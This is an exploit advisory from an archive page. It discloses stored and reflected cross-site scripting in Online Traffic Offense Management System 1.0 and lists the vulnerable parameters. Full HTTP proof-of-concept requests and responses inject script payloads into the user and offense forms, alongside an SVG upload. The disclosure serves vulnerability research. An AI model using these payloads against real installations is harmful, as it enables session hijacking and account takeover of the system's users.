what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Traffic Offense Management System 1.0 Cross Site Scripting

Online Traffic Offense Management System 1.0 Cross Site Scripting
Posted Oct 7, 2021
Authored by Hubert Wojciechowski

Online Traffic Offense Management System version 1.0 suffers from persistent and reflective cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 8fe47efe4ae3e273d70f6a28bc37866a5974f0a4d07c32cd8529fa977f8ef09e

Online Traffic Offense Management System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Online Traffic Offense Management System 1.0 - Multiple XSS (Unauthenticated)
# Date: 07/10/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### XSS Stored and XSS Reflected

# All requests can be sent by both an authenticated and a non-authenticated user

# XSS Stored - example vulnerable pages and parameters:

* The entire application is susceptible to Stored XSS vulnerabilities, below are examples of pages and parameters
* We can upload SVG file from XSS to all places in webapp
* We can add evil code from admin account, regular user account and unauthenticated - we needs only request

* http://localhost/traffic_offense/admin/?page=user
Parameters:
- firstname
- lastname
- user image - svg file with javascript code - XSS

* http://localhost/traffic_offense/classes/Master.php?f=save_offense_record
Parameters:
- date_created
- ticket_no
- officer_id
- officer_name
- status
- remarks
- SVG file with javascript code - XSS

* All application is vulnerable

# XSS Reflected - example vulnerable pages and parameters:

* http://localhost/traffic_offense/admin/?page
Parameters:
- page

* http://localhost/traffic_offense/classes/Login.php
Parameters:
- username
- password

* http://localhost/traffic_offense/*/&id=1 [all pages where the id parameter is present]
Parameters:
- id

* http://localhost/traffic_offense/classes/Master.php
Parameters:
- id

* http://localhost/traffic_offense/classes/Users.php
Parameters:
- id

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example 1 - XSS Reflected

# Request using POST method, payload is in the parameter value id

POST /traffic_offense/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------21986352462593413643786432583
Content-Length: 1061
Origin: http://localhost
Connection: close
Referer: http://localhost/traffic_offense/admin/?page=user
Cookie: PHPSESSID=vt0b3an93oqfgacv02oqnvmb0o
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------21986352462593413643786432583
Content-Disposition: form-data; name="id"

13<script>alert(1)</script>37
-----------------------------21986352462593413643786432583
Content-Disposition: form-data; name="firstname"

hacked
[...]

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 01:05:26 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 186
Connection: close
Content-Type: text/html; charset=UTF-8

UPDATE users set firstname = 'sdasfd' , lastname = 'fdxfd' , username = 'test2' , `password` = 'ad0234829205b9033196ba818f7a872b' where id = 13<script>alert(1)</script>37

-----------------------------------------------------------------------------------------------------------------------
# Request using GET method, payload is in the parameter value id

GET /traffic_offense/admin/offenses/view_details.php?id=13<script>alert(1)</script>37' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 05:28:35 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 7893
Connection: close
Content-Type: text/html; charset=UTF-8

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''13<script>alert(1)</script>37''' at line 1
SELECT r.*,d.license_id_no, d.name as driver from `offense_list` r inner join `drivers_list` on r.driver_id = d.id where r.id = '13<script>alert(1)</script>37'' <br />
[...]

-----------------------------------------------------------------------------------------------------------------------

## Example 2

# XSS Stored

# Save JS payload in user profile and add SVG file from vuln script

POST /traffic_offense/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------85748650716762987124528102
Content-Length: 4304
Origin: http://localhost
Connection: close
Referer: http://localhost/traffic_offense/admin/?page=user
Cookie: PHPSESSID=vt0b3an93oqfgacv02oqnvmb0o
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------85748650716762987124528102
Content-Disposition: form-data; name="id"

1
-----------------------------85748650716762987124528102
Content-Disposition: form-data; name="firstname"

admin"/><img src=x onmouseover=alert(1)>
-----------------------------85748650716762987124528102
Content-Disposition: form-data; name="lastname"

admin"/><img src=x onmouseover=alert(1)>
-----------------------------85748650716762987124528102
Content-Disposition: form-data; name="username"

admin
-----------------------------85748650716762987124528102
Content-Disposition: form-data; name="password"

admnin123
-----------------------------85748650716762987124528102
Content-Disposition: form-data; name="img"; filename="xss.svg"
Content-Type: image/svg+xml

[...]SVG PAYLOAD[...]


-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 05:31:29 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

1

-----------------------------------------------------------------------------------------------------------------------
# Request download new user data

GET /traffic_offense/admin/?page=user/manage_user&id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 05:42:04 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24719
[...]
<div class="form-group col-6">
<label for="name">First Name</label>
<input type="text" name="firstname" id="firstname" class="form-control" value="admin"/><img src=x onmouseover=alert(1)>" required>
</div>
<div class="form-group col-6">
<label for="name">Last Name</label>
<input type="text" name="lastname" id="lastname" class="form-control" value="admin"/><img src=x onmouseover=alert(1)>" required>
</div>
[...]
<div class="form-group col-6 d-flex justify-content-center">
<img src="http://localhost/traffic_offense/uploads/1633584660_xss.svg" alt="" id="cimg" class="img-fluid img-thumbnail">
</div>
[...]
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close